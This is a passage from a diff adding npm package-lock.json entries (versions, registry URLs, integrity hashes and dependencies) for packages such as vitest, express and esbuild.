"sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@vitest/spy": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-2.1.9.tgz", + "integrity": "sha512-E1B35FwzXXTs9FHNK6bDszs7mtydNi5MIfUWpceJ8Xbfb1gBMscAnwLbEu+B44ed6W3XjL9/ehLPHR1fkf1KLQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "tinyspy": "^3.0.2" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/utils": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-2.1.9.tgz", + "integrity": "sha512-v0psaMSkNJ3A2NMrUEHFRzJtDPFn+/VWZ5WxImB21T9fjucJRmS7xCS3ppEnARb9y11OAzaD+P2Ps+b+BGX5iQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "2.1.9", + "loupe": "^3.1.2", + "tinyrainbow": "^1.2.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/accepts": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz", + "integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==", + "license": "MIT", + "dependencies": { + "mime-types": "^3.0.0", + "negotiator": "^1.0.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/acorn": { + "version": "8.17.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.17.0.tgz", + "integrity": "sha512-xRQbDb9BnwDafYNn6Vwl839DYVjqXYb1XVGtWAZ1kcDc6iwAL4hg3B1dZlRiuENFeO2H53gFG3in621AdERVAg==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/ajv": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", + "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz", + "integrity": "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==", + "license": "MIT", + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true, + "license": "MIT" + }, + "node_modules/assertion-error": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz", + "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + } + }, + "node_modules/body-parser": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz", + "integrity": "sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw==", + "license": "MIT", + "dependencies": { + "bytes": "^3.1.2", + "content-type": "^2.0.0", + "debug": "^4.4.3", + "http-errors": "^2.0.1", + "iconv-lite": "^0.7.2", + "on-finished": "^2.4.1", + "qs": "^6.15.2", + "raw-body": "^3.0.2", + "type-is": "^2.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/body-parser/node_modules/content-type": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz", + "integrity": "sha512-j/O/d7GcZCyNl7/hwZAb606rzqkyvaDctLmckbxLzHvFBzTJHuGEdodATcP3yIRoDrLHkIATJuvzbFlp/ki2cQ==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/bundle-require": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/bundle-require/-/bundle-require-5.1.0.tgz", + "integrity": "sha512-3WrrOuZiyaaZPWiEt4G3+IffISVC9HYlWueJEBWED4ZH4aIAC2PnkdnuRrR94M+w6yGWn4AglWtJtBI8YqvgoA==", + "dev": true, + "license": "MIT", + "dependencies": { + "load-tsconfig": "^0.2.3" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "peerDependencies": { + "esbuild": ">=0.18" + } + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/cac": { + "version": "6.7.14", + "resolved": "https://registry.npmjs.org/cac/-/cac-6.7.14.tgz", + "integrity": "sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/chai": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/chai/-/chai-5.3.3.tgz", + "integrity": "sha512-4zNhdJD/iOjSH0A05ea+Ke6MU5mmpQcbQsSOkgdaUMJ9zTlDTD/GYlwohmIE2u0gaxHYiVHEn1Fw9mZ/ktJWgw==", + "dev": true, + "license": "MIT", + "dependencies": { + "assertion-error": "^2.0.1", + "check-error": "^2.1.1", + "deep-eql": "^5.0.1", + "loupe": "^3.1.0", + "pathval": "^2.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/chardet": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/chardet/-/chardet-2.2.0.tgz", + "integrity": "sha512-rddelWYNPRrXq6PtNEN2S3f6t9ILzvqaN5pVgi4kqt9jHQaXIial9PznB5iSPVlQSLNaaH22ItWz3EJtQ10+OA==", + "license": "MIT" + }, + "node_modules/check-error": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/check-error/-/check-error-2.1.3.tgz", + "integrity": "sha512-PAJdDJusoxnwm1VwW07VWwUN1sl7smmC3OKggvndJFadxxDRyFJBX/ggnu/KE4kQAB7a3Dp8f/YXC1FlUprWmA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 16" + } + }, + "node_modules/chokidar": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-4.0.3.tgz", + "integrity": "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "readdirp": "^4.0.1" + }, + "engines": { + "node": ">= 14.16.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/cli-width": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-4.1.0.tgz", + "integrity": "sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==", + "license": "ISC", + "engines": { + "node": ">= 12" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/commander": { + "version": "12.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", + "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/confbox": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.1.8.tgz", + "integrity": "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==", + "dev": true, + "license": "MIT" + }, + "node_modules/consola": { + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/consola/-/consola-3.4.2.tgz", + "integrity": "sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^14.18.0 || >=16.10.0" + } + }, + "node_modules/content-disposition": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz", + "integrity": "sha512-5jRCH9Z/+DRP7rkvY83B+yGIGX96OYdJmzngqnw2SBSxqCFPd0w2km3s5iawpGX8krnwSGmF0FW5Nhr0Hfai3g==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", + "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz", + "integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==", + "license": "MIT", + "engines": { + "node": ">=6.6.0" + } + }, + "node_modules/cors": { + "version": "2.8.6", + "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz", + "integrity": "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==", + "license": "MIT", + "dependencies": { + "object-assign": "^4", + "vary": "^1" + }, + "engines": { + "node": ">= 0.10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/deep-eql": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-5.0.2.tgz", + "integrity": "sha512-h5k/5U50IJJFpzfL6nO9jaaumfjO/f2NjK/oYB2Djzm4p9L+3T9qWpZqZ2hAbLPuuYq9wrU08WQyBTL5GbPk5Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "license": "MIT" + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz", + "integrity": "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==", + "dev": true, + "license": "MIT" + }, + "node_modules/es-object-atoms": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", + "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/esbuild": { + "version": "0.27.7", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.7.tgz", + "integrity": "sha512-IxpibTjyVnmrIQo5aqNpCgoACA/dTKLTlhMHihVHhdkxKyPO1uBBthumT0rdHmcsk9uMonIWS0m4FljWzILh3w==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.27.7", + "@esbuild/android-arm": "0.27.7", + "@esbuild/android-arm64": "0.27.7", + "@esbuild/android-x64": "0.27.7", + "@esbuild/darwin-arm64": "0.27.7", + "@esbuild/darwin-x64": "0.27.7", + "@esbuild/freebsd-arm64": "0.27.7", + "@esbuild/freebsd-x64": "0.27.7", + "@esbuild/linux-arm": "0.27.7", + "@esbuild/linux-arm64": "0.27.7", + "@esbuild/linux-ia32": "0.27.7", + "@esbuild/linux-loong64": "0.27.7", + "@esbuild/linux-mips64el": "0.27.7", + "@esbuild/linux-ppc64": "0.27.7", + "@esbuild/linux-riscv64": "0.27.7", + "@esbuild/linux-s390x": "0.27.7", + "@esbuild/linux-x64": "0.27.7", + "@esbuild/netbsd-arm64": "0.27.7", + "@esbuild/netbsd-x64": "0.27.7", + "@esbuild/openbsd-arm64": "0.27.7", + "@esbuild/openbsd-x64": "0.27.7", + "@esbuild/openharmony-arm64": "0.27.7", + "@esbuild/sunos-x64": "0.27.7", + "@esbuild/win32-arm64": "0.27.7", + "@esbuild/win32-ia32": "0.27.7", + "@esbuild/win32-x64": "0.27.7" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "license": "MIT" + }, + "node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/eventsource": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-3.0.7.tgz", + "integrity": "sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA==", + "license": "MIT", + "dependencies": { + "eventsource-parser": "^3.0.1" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/eventsource-parser": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.0.tgz", + "integrity": "sha512-kJezFj9YFAMLeORyi7aCLxLbD5/qWMQnoMVlVPyHIll7lgRJCc3JVln9Vgl9nwQi0YkMnhdGTMNn7CkRRAptMg==", + "license": "MIT", + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/expect-type": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz", + "integrity": "sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/express": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz", + "integrity": "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw==", + "license": "MIT", + "dependencies": { + "accepts": "^2.0.0", + "body-parser": "^2.2.1", + "content-disposition": "^1.0.0", + "content-type": "^1.0.5", + "cookie": "^0.7.1", + "cookie-signature": "^1.2.1", + "debug": "^4.4.0", + "depd": "^2.0.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "finalhandler": "^2.1.0", + "fresh": "^2.0.0", + "http-errors": "^2.0.0", + "merge-descriptors": "^2.0.0", + "mime-types": "^3.0.0", + "on-finished": "^2.4.1", + "once": "^1.4.0", + "parseurl": "^1.3.3", + "proxy-addr": "^2.0.7", + "qs": "^6.14.0", + "range-parser": "^1.2.1", + "router": "^2.2.0", + "send": "^1.1.0", + "serve-static": "^2.2.0", + "statuses": "^2.0.1", + "type-is": "^2.0.1", + "vary": "^1.1.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/express-rate-limit": { + "version": "8.5.2", + "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.5.2.tgz", + "integrity": "sha512-5Kb34ipNX694DH48vN9irak1Qx30nb0PLYHXfJgw4YEjiC3ZEmZJhwOp+VfiCYwFzvFTdB9QkArYS5kXa2cx2A==", + "license": "MIT", + "dependencies": { + "ip-address": "^10.2.0" + }, + "engines": { + "node": ">= 16" + }, + "funding": { + "url": "https://github.com/sponsors/express-rate-limit" + }, + "peerDependencies": { + "express": ">= 4.11" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "license": "MIT" + }, + "node_modules/fast-uri": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.3.tgz", + "integrity": "sha512-i70LwGWUduXqzicKXWshooq+sWL1K3WUU5rKZNG/0i3a1OSoX3HqhH5WbWwTmqWfor4urUakGPiRQcleRZTwOg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/finalhandler": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz", + "integrity": "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "on-finished": "^2.4.1", + "parseurl": "^1.3.3", + "statuses": "^2.0.1" + }, + "engines": { + "node": ">= 18.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/fix-dts-default-cjs-exports": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/fix-dts-default-cjs-exports/-/fix-dts-default-cjs-exports-1.0.1.tgz", + "integrity": "sha512-pVIECanWFC61Hzl2+oOCtoJ3F17kglZC/6N94eRWycFgBH35hHx0Li604ZIzhseh97mf2p0cv7vVrOZGoqhlEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "magic-string": "^0.30.17", + "mlly": "^1.7.4", + "rollup": "^4.34.8" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz", + "integrity": "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + 